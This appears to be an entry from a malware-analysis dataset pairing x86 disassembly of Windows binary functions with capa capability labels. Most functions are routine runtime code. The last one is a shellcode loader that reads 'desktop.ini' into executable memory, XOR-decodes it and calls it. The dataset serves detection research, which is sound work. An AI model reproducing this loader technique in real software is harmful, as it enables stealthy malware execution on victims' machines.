joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4241b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x18], ecx
mov edx, 4
sub ecx, eax
sub ebx, eax
push edi
xor edi, edi
mov dword [ebp - 4], ecx
mov esi, eax
sub edx, eax
mov eax, dword [ebx + esi]
lea esi, [esi + 4]
xor eax, dword [esi - 4]
add edi, 4
mov dword [ecx + esi - 4], eax
lea eax, [edx + esi]
cmp eax, 0x10
jbe 0x4241d6
mov edx, 0x10
mov esi, edx
sub esi, edi
cmp edi, edx
jae 0x4242f5
cmp esi, 0x40
jb 0x4242d9
mov eax, dword [ebp - 0x18]
lea ecx, [edi + eax]
mov dword [ebp - 8], ecx
lea ecx, [eax + 0xf]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], ecx
lea ecx, [edi + eax]
add eax, 0xf
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 8], eax
ja 0x424233
mov eax, ecx
cmp dword [ebp - 0x10], eax
jae 0x4242d9
mov eax, dword [ebp - 0xc]
lea ecx, [edi + eax]
add eax, 0xf
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 8], eax
ja 0x42424f
mov eax, ecx
cmp dword [ebp - 0x10], eax
jae 0x4242d9
mov ecx, dword [ebp - 0xc]
and esi, 0x3f
mov eax, edx
mov edx, dword [ebp - 0xc]
sub eax, esi
mov esi, dword [ebp - 8]
mov dword [ebp - 0x10], eax
add esi, 0x20
mov eax, dword [ebp - 0x14]
add eax, 0x10
sub ecx, dword [ebp - 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 4]
movups xmm0, xmmword [eax - 0x10]
lea eax, [eax + 0x40]
movups xmm1, xmmword [edi + edx]
lea esi, [esi + 0x40]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x40]
movups xmmword [esi - 0x60], xmm1
movups xmm1, xmmword [eax + ebx - 0x40]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x30]
movups xmmword [eax + ecx - 0x40], xmm1
mov ecx, dword [ebp - 0x1c]
movups xmm1, xmmword [ecx + esi - 0x40]
mov ecx, dword [ebp - 4]
pxor xmm1, xmm0
movups xmm0, xmmword [eax - 0x20]
movups xmmword [esi - 0x40], xmm1
movups xmm1, xmmword [edi + edx + 0x30]
add edi, 0x40
pxor xmm1, xmm0
movups xmmword [esi - 0x30], xmm1
cmp edi, dword [ebp - 0x10]
jb 0x424274
mov dword [ebp - 0x1c], edi
mov edx, 0x10
cmp edi, 0x10
jae 0x4242f5
mov eax, dword [ebp + 8]
mov esi, dword [ebp - 4]
add eax, edi
sub edx, edi
mov cl, byte [ebx + eax]
lea eax, [eax + 1]
xor cl, byte [eax - 1]
mov byte [esi + eax - 1], cl
sub edx, 1
jne 0x4242e3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x424620
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, ecx
cmp ebx, 0x80
je 0x424643
cmp ebx, 0xc0
je 0x424643
cmp ebx, 0x100
jne 0x424697
mov esi, dword [0x44bd54]
test esi, esi
je 0x424697
mov ecx, 0x44bd54
mov edx, dword [esi + 4]
mov eax, edx
shr eax, 0x1a
and eax, 0x1f
mov eax, dword [eax*4 + 0x44bd40]
cmp dword [eax], 2
jne 0x42468d
test esi, esi
jne 0x424671
xor eax, eax
jmp 0x42467b
mov eax, edx
shr eax, 2
and eax, 0x3c0
cmp eax, ebx
jne 0x42468d
mov eax, edx
and eax, 0xf000
cmp eax, 0x1000
je 0x4246a1
mov esi, dword [ecx + 8]
add ecx, 8
test esi, esi
jne 0x424652
mov eax, 0xffffffec
pop edi
pop esi
pop ebx
pop ebp
ret
test esi, esi
je 0x424697
and edx, 0x1f
cmp edx, 0x10
jne 0x424697
test edi, edi
je 0x4246eb
mov ecx, dword [edi + 0x34]
test ecx, ecx
je 0x4246d3
mov eax, dword [edi]
push ecx
mov eax, dword [eax + 4]
shr eax, 0x1a
and eax, 0x1f
mov eax, dword [eax*4 + 0x44bd40]
mov eax, dword [eax + 0x14]
call eax
add esp, 4
mov ecx, 0x38
mov eax, edi
nop word [eax + eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4246e0
push 0x38
push 0
push edi
call fcn.0042a750
mov eax, dword [esi + 4]
add esp, 0xc
shr eax, 0x1a
and eax, 0x1f
mov eax, dword [eax*4 + 0x44bd40]
mov eax, dword [eax + 0x10]
test eax, eax
je 0x424722
call eax
mov dword [edi + 0x34], eax
test eax, eax
jne 0x424722
pop edi
pop esi
mov eax, 0xffff9e80
pop ebx
pop ebp
ret
mov edx, dword [ebp + 8]
mov ecx, edi
push 1
push ebx
mov dword [edi], esi
call fcn.00415430
add esp, 8
test eax, eax
jne 0x42469c
mov ecx, edi
pop edi
pop esi
pop ebx
pop ebp
jmp fcn.00424300
Function at 0x4254c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [0x44f640]
mov eax, dword [0x44f640]
mov eax, dword [0x44f640]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 4], eax
test edi, edi
je 0x4255dd
lea eax, [edi - 1]
sub ecx, edx
lea eax, [edx + eax*4]
mov dword [ebp - 8], ecx
mov dword [ebp + 8], eax
push esi
nop word [eax + eax]
mov esi, dword [0x44f640]
xor esi, dword [eax]
mov edx, dword [0x44f640]
xor edx, dword [ecx + eax]
mov eax, edx
xor eax, esi
sub esi, edx
shr eax, 0x1f
xor eax, dword [0x44f640]
mov ecx, eax
neg eax
shr ecx, 1
neg ecx
or ecx, eax
mov eax, dword [0x44f640]
shr ecx, 0x1f
neg ecx
xor eax, ecx
and ecx, edx
not eax
and esi, eax
mov eax, dword [0x44f640]
or esi, ecx
shr esi, 0x1f
xor eax, esi
mov esi, dword [0x44f640]
mov edx, dword [0x44f640]
mov ecx, eax
shr ecx, 1
neg eax
neg ecx
or ecx, eax
mov eax, dword [ebp - 8]
shr ecx, 0x1f
neg ecx
or dword [ebp - 4], ecx
mov ecx, dword [ebp + 8]
xor esi, dword [eax + ecx]
xor edx, dword [ecx]
mov eax, edx
xor eax, esi
sub esi, edx
shr eax, 0x1f
xor eax, dword [0x44f640]
mov ecx, eax
neg eax
shr ecx, 1
neg ecx
or ecx, eax
mov eax, dword [0x44f640]
shr ecx, 0x1f
neg ecx
xor eax, ecx
and ecx, edx
not eax
and esi, eax
mov eax, dword [0x44f640]
or esi, ecx
shr esi, 0x1f
xor eax, esi
mov edx, eax
neg eax
shr edx, 1
neg edx
or edx, eax
mov eax, dword [ebp - 4]
shr edx, 0x1f
mov ecx, eax
neg edx
not ecx
or eax, edx
and ecx, edx
mov dword [ebp - 4], eax
or ebx, ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
sub eax, 4
mov dword [ebp + 8], eax
sub edi, 1
jne 0x425500
pop esi
pop edi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4255f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, edx
cmp ecx, edi
je 0x425632
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x425631
push ebx
mov ebx, dword [ebp + 0xc]
sub edi, ecx
nop dword [eax + eax]
mov edx, dword [0x44f640]
lea ecx, [ecx + 4]
mov eax, dword [edi + ecx - 4]
xor edx, ebx
not edx
and eax, ebx
and edx, dword [ecx - 4]
or eax, edx
mov dword [ecx - 4], eax
sub esi, 1
jne 0x425610
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x425a30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x44f640]
mov eax, dword [0x44f640]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], edx
mov edi, ecx
lea eax, [ebx - 1]
test eax, eax
js 0x425a65
mov ecx, dword [ebp + 8]
mov esi, dword [ecx + eax*4]
test esi, esi
jne 0x425b26
sub eax, 1
jns 0x425a55
xor eax, eax
lea edx, [eax + 7]
mov dword [ebp - 8], eax
shr edx, 3
mov eax, 4
cmp eax, edx
mov dword [ebp - 4], edx
mov ecx, 0
sbb eax, eax
and eax, 0xffffff24
add eax, 0xfa
test dl, 3
mov dword [ebp - 0xc], eax
mov eax, edx
setne cl
shr eax, 2
add ecx, eax
mov dword [ebp - 0x10], ecx
lea esi, [ecx*4]
mov eax, esi
mov dword [ebp - 0x18], esi
sub eax, edx
mov dword [ebp - 0x14], eax
nop
cmp ebx, ecx
jb 0x425c42
push eax
push 0
push edi
call fcn.0042a750
lea ecx, [esi + edi]
mov eax, ebx
mov esi, dword [ebp - 0x10]
sub eax, esi
shl eax, 2
push eax
push 0
push ecx
call fcn.0042a750
push dword [ebp - 4]
mov eax, dword [ebp - 0x14]
add eax, edi
push eax
push dword [ebp + 0x14]
call dword [ebp + 0x10]
mov ecx, eax
add esp, 0x24
mov dword [ebp + 0xc], ecx
test ecx, ecx
jne 0x425c39
test esi, esi
je 0x425b47
mov eax, dword [ebp - 0x18]
mov esi, edi
add eax, 0xfffffffc
add eax, edi
cmp edi, eax
ja 0x425b47
mov ecx, dword [eax]
mov edx, dword [esi]
bswap ecx
bswap edx
mov dword [esi], ecx
add esi, 4
mov dword [eax], edx
sub eax, 4
cmp esi, eax
jbe 0x425b08
mov eax, dword [ebp + 0xc]
mov dword [ebp + 0xc], eax
jmp 0x425b4f
mov edx, closesocket
xor ecx, ecx
nop dword [eax]
test edx, esi
jne 0x425b3c
inc ecx
shr edx, 1
cmp ecx, 0x20
jb 0x425b30
inc eax
shl eax, 5
sub eax, ecx
jmp 0x425a67
test ecx, ecx
jne 0x425c39
mov eax, dword [ebp - 4]
mov edx, ebx
shl eax, 3
mov ecx, edi
sub eax, dword [ebp - 8]
push eax
call fcn.00425640
add esp, 4
sub dword [ebp - 0xc], 1
je 0x425c2d
mov esi, dword [0x44f640]
mov edx, dword [0x44f640]
xor esi, dword [edi]
xor edx, dword [ebp - 0x1c]
mov eax, edx
xor eax, esi
sub esi, edx
shr eax, 0x1f
xor eax, dword [0x44f640]
mov ecx, eax
neg eax
shr ecx, 1
neg ecx
or ecx, eax
mov eax, dword [0x44f640]
shr ecx, 0x1f
neg ecx
xor eax, ecx
and ecx, edx
not eax
mov edx, 1
and esi, eax
mov eax, dword [0x44f640]
or esi, ecx
shr esi, 0x1f
xor eax, esi
mov esi, dword [0x44f640]
mov ecx, eax
neg eax
shr ecx, 1
neg ecx
or ecx, eax
shr ecx, 0x1f
dec ecx
mov dword [ebp - 0x20], ecx
cmp ebx, edx
jbe 0x425bf8
mov eax, dword [0x44f640]
xor eax, dword [edi + edx*4]
inc edx
mov ecx, eax
neg eax
shr ecx, 1
neg ecx
or ecx, eax
shr ecx, 0x1f
neg ecx
or esi, ecx
cmp edx, ebx
jb 0x425bd7
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp + 8]
or esi, ecx
push ebx
mov ecx, edi
call fcn.004254c0
mov ecx, dword [ebp - 0x10]
and eax, esi
add esp, 4
cmp eax, dword [0x44f640]
mov eax, dword [ebp - 0x14]
lea esi, [ecx*4]
je 0x425ab0
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0xfffffff2
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, 0xfffffffc
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x433ee1
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x44f190]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x433f21
cmp byte [ebx], 0xa
jne 0x433f21
or byte [eax + edi + 0x28], 4
jmp 0x433f26
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x434024
mov al, byte [edx]
cmp al, 0x1a
je 0x434006
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x433f55
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x433f7a
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x433f84
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x433f37
jmp 0x434024
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x434001
cmp dword [ebp - 0xc], 0
je 0x434001
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x44f190]
test byte [eax + edi + 0x28], 0x48
je 0x433fdb
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x433fc6
mov byte [esi], dl
jmp 0x433fd7
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x44f190]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x434024
cmp byte [ebp - 1], 0xa
jne 0x433fea
cmp esi, ebx
jne 0x433fea
mov byte [esi], 0xa
jmp 0x434023
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004396a5
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x434024
mov byte [esi], 0xd
jmp 0x434023
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x44f190]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x434020
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x434024
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x43402d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x44f190]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x434070
cmp word [esi], dx
jne 0x434070
or byte [edi + eax + 0x28], 4
jmp 0x434075
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x4341c8
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x4341a8
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x4340b7
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x4340ed
cmp eax, edx
jae 0x4340f9
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x43408f
jmp 0x4341c8
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4341a4
cmp dword [ebp - 0x14], 0
je 0x4341a4
mov eax, dword [ebx*4 + 0x44f190]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x43417c
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x434145
mov word [esi], cx
jmp 0x434178
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x44f190]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x44f190]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x44f190]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x4341c8
pop ebx
cmp word [ebp - 4], bx
jne 0x43418d
cmp esi, dword [ebp + 0xc]
jne 0x43418d
mov word [esi], bx
jmp 0x4341c5
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004396a5
add esp, 0x10
cmp word [ebp - 4], bx
je 0x4341c8
push 0xd
jmp 0x4341c1
mov ecx, dword [ebx*4 + 0x44f190]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4341bf
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4341c8
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x436109
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44505c
push 0x445054
push str.FlsAlloc
push 0x1e
call fcn.00435fca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x43613d
push dword [ebp + 8]
mov ecx, esi
call dword [0x4431f8]
call esi
jmp 0x436143
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x436187
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x44506c
push 0x445064
push str.FlsGetValue
push 0x20
call fcn.00435fca
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4361be
push dword [ebp + 8]
mov ecx, esi
call dword [0x4431f8]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x43aa99
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x43ab36
push ebx
push esi
call fcn.0043aa62
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0043a9ab
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x43aae3
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43ab35
push edi
push eax
call fcn.00436964
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x43ab03
call fcn.00435e5d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x43ab34
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0043a9ab
add esp, 0x20
test eax, eax
jne 0x43ab22
push edi
call fcn.00435e5d
jmp 0x43ab2a
push ebx
call fcn.00435e5d
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x43ab39
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x43ab4a
pop esi
ret
push ebx
push edi
push esi
call fcn.0043aa62
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00436964
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x43ab72
push ebx
push esi
push edi
call fcn.0042b1d0
add esp, 0xc
push 0
call fcn.00435e5d
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x43b2be
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0043ade5
Function at 0x43cc83
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0043cbff
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x43cdfb
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x43cdfb
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x43cdaa
jg 0x43ccdc
test eax, eax
je 0x43cda0
push 1
push 0x1000
call fcn.004357d7
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x43cd02
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x43cd97
push 0x8000
push ebx
call fcn.004329f7
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x43cd2e
jg 0x43cd29
cmp ecx, 0x1000
jb 0x43cd2e
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.00435147
add esp, 0x10
cmp eax, 0xffffffff
je 0x43cd73
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x43cd29
jl 0x43cd5a
test ecx, ecx
jne 0x43cd1b
push dword [ebp - 0xc]
push ebx
call fcn.004329f7
push esi
call fcn.00435e5d
add esp, 0xc
xor edi, edi
jmp 0x43ce0c
cmp byte [edi + 0x24], 0
je 0x43cd8a
cmp dword [edi + 0x20], 5
jne 0x43cd8a
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x43cd95
mov edi, dword [edi + 0x18]
jmp 0x43cd97
xor edi, edi
push esi
call fcn.00435e5d
pop ecx
jmp 0x43ce0c
test ecx, ecx
jg 0x43cd6c
jl 0x43cdaa
test eax, eax
jae 0x43cd6c
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.004396a5
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x43cdcd
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x43cd6c
jmp 0x43ce04
push ebx
call fcn.00439398
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x43cd6c
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x43ce0c
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x43ce09
mov edi, dword [edi + 0x18]
jmp 0x43ce0c
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.004396a5
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4070bd
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40d468
cmp edx, dword [eax]
je 0x4070df
add eax, 8
inc ecx
cmp eax, 0x40d4f8
jl 0x4070d0
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40d468]
jne 0x40720d
mov eax, dword [0x40e498]
cmp eax, 1
je 0x4071e7
test eax, eax
jne 0x407110
cmp dword [0x40d39c], 1
je 0x4071e7
cmp edx, 0xfc
je 0x40720d
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x407147
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00404340
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00404190
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x40718a
lea eax, [ebp - 0x1a4]
push eax
call fcn.00404190
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b5ec
push edi
call fcn.00408c50
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00404340
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00404350
lea eax, [ebp - 0xa0]
push 0x40b5cc
push eax
call fcn.00404350
push dword [esi + 0x40d46c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00404350
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00408bc2
add esp, 0x2c
pop edi
jmp 0x40720d
lea eax, [ebp + 8]
lea esi, [esi + 0x40d46c]
push 0
push eax
push dword [esi]
call fcn.00404190
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10